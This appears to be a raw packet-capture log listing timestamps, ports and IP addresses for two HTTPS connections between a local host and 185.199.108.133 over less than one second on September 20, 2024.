Sep 20, 2024 12:14:49.522114038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522156954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522226095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522243977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522445917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.522445917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.522445917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.522445917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.522514105 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522557020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522598028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522628069 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.522644997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.522675037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.523065090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523082972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523140907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.523154020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523185015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.523546934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523575068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523617983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.523631096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523659945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.523940086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.523957968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.524012089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.524023056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.524049044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.524859905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.524888039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.524933100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.524943113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.524979115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.559099913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559133053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559226036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559416056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559441090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559609890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.559642076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559667110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.559847116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.559875965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.560044050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.560044050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.560075998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.560127974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.560158014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.560197115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.560208082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.560223103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.566015005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.569137096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569165945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569207907 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.569232941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569372892 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.569502115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569541931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569586992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.569596052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569623947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.569912910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569941998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.569994926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.570003033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.570038080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.608736992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.608779907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.609288931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.609353065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.609724998 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.613394022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.613564968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613594055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613727093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613756895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613792896 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.613828897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613881111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.613926888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.613926888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.613976955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614051104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614068031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614092112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614124060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614327908 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614327908 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614346981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614392042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614430904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614437103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614468098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614480972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614511967 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614545107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614664078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614686966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.614943027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.614943981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.615015030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.615078926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.615108013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.615153074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.615170002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.615200996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.617603064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646265984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646302938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646457911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646488905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646511078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646539927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646573067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646573067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646595001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646610975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646610975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646652937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646915913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646941900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.646989107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.646998882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647027016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647066116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647228003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647275925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647300959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647308111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647341013 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647362947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647548914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647573948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647629976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647636890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.647667885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.647699118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.657838106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.657866001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.657907009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.657919884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.657953024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.657978058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658071995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658097029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658128977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658137083 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658173084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658199072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658638954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658662081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658703089 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658716917 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.658740044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.658768892 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.696177959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.696204901 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.696381092 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.696446896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.696515083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.697021961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.697813034 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.697833061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698020935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698020935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698086023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698189020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698220015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698280096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698302984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698328972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698579073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698688984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698709011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698765039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698801041 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698832035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698833942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698873997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698896885 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698910952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.698945045 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.698993921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.699064016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.699084997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.699142933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.699156046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.699183941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.699245930 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.703005075 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.703044891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.703257084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.703253031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.703320980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.703375101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.703375101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.703455925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.733139038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733167887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733237982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.733268976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733438969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.733719110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733742952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733927011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.733935118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.733994007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734105110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734137058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734184980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734193087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734232903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734257936 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734565973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734608889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734637976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734644890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734682083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734708071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734843016 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734867096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734905005 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734911919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.734951019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.734977007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.744945049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.744970083 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745017052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745023966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745173931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745337009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745367050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745404005 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745410919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745435953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745471954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745748997 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745774031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745814085 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745821953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.745855093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.745883942 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.782680035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.782706976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.782979012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.783039093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.783113956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.784496069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.784523964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.784682035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.784694910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.784756899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.784902096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.784945965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.784982920 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.784995079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785041094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.785059929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.785125971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785149097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785212040 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785228968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.785244942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785259008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.785283089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.785334110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.786281109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.786302090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.786490917 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.786503077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.792516947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.792540073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.792630911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.792644978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.793132067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.793148994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.793243885 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.793257952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.820759058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.820794106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821021080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.821036100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821050882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821091890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821100950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.821110010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821162939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.821202993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.821578026 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821607113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821827888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.821835995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.821944952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.822030067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822053909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822098970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.822112083 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822140932 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.822174072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.822314978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822341919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822555065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.822561979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.822628021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.834070921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834096909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834182024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.834193945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834249020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.834438086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834466934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834515095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.834522009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.834568024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.835128069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.835155010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.835211992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.835220098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.835270882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.847196102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.869404078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.869426966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.869724989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.869739056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.870073080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.871557951 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.871577978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.871799946 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.871810913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.871886969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.871898890 CEST	443	58640	185.199.108.133	192.168.2.4
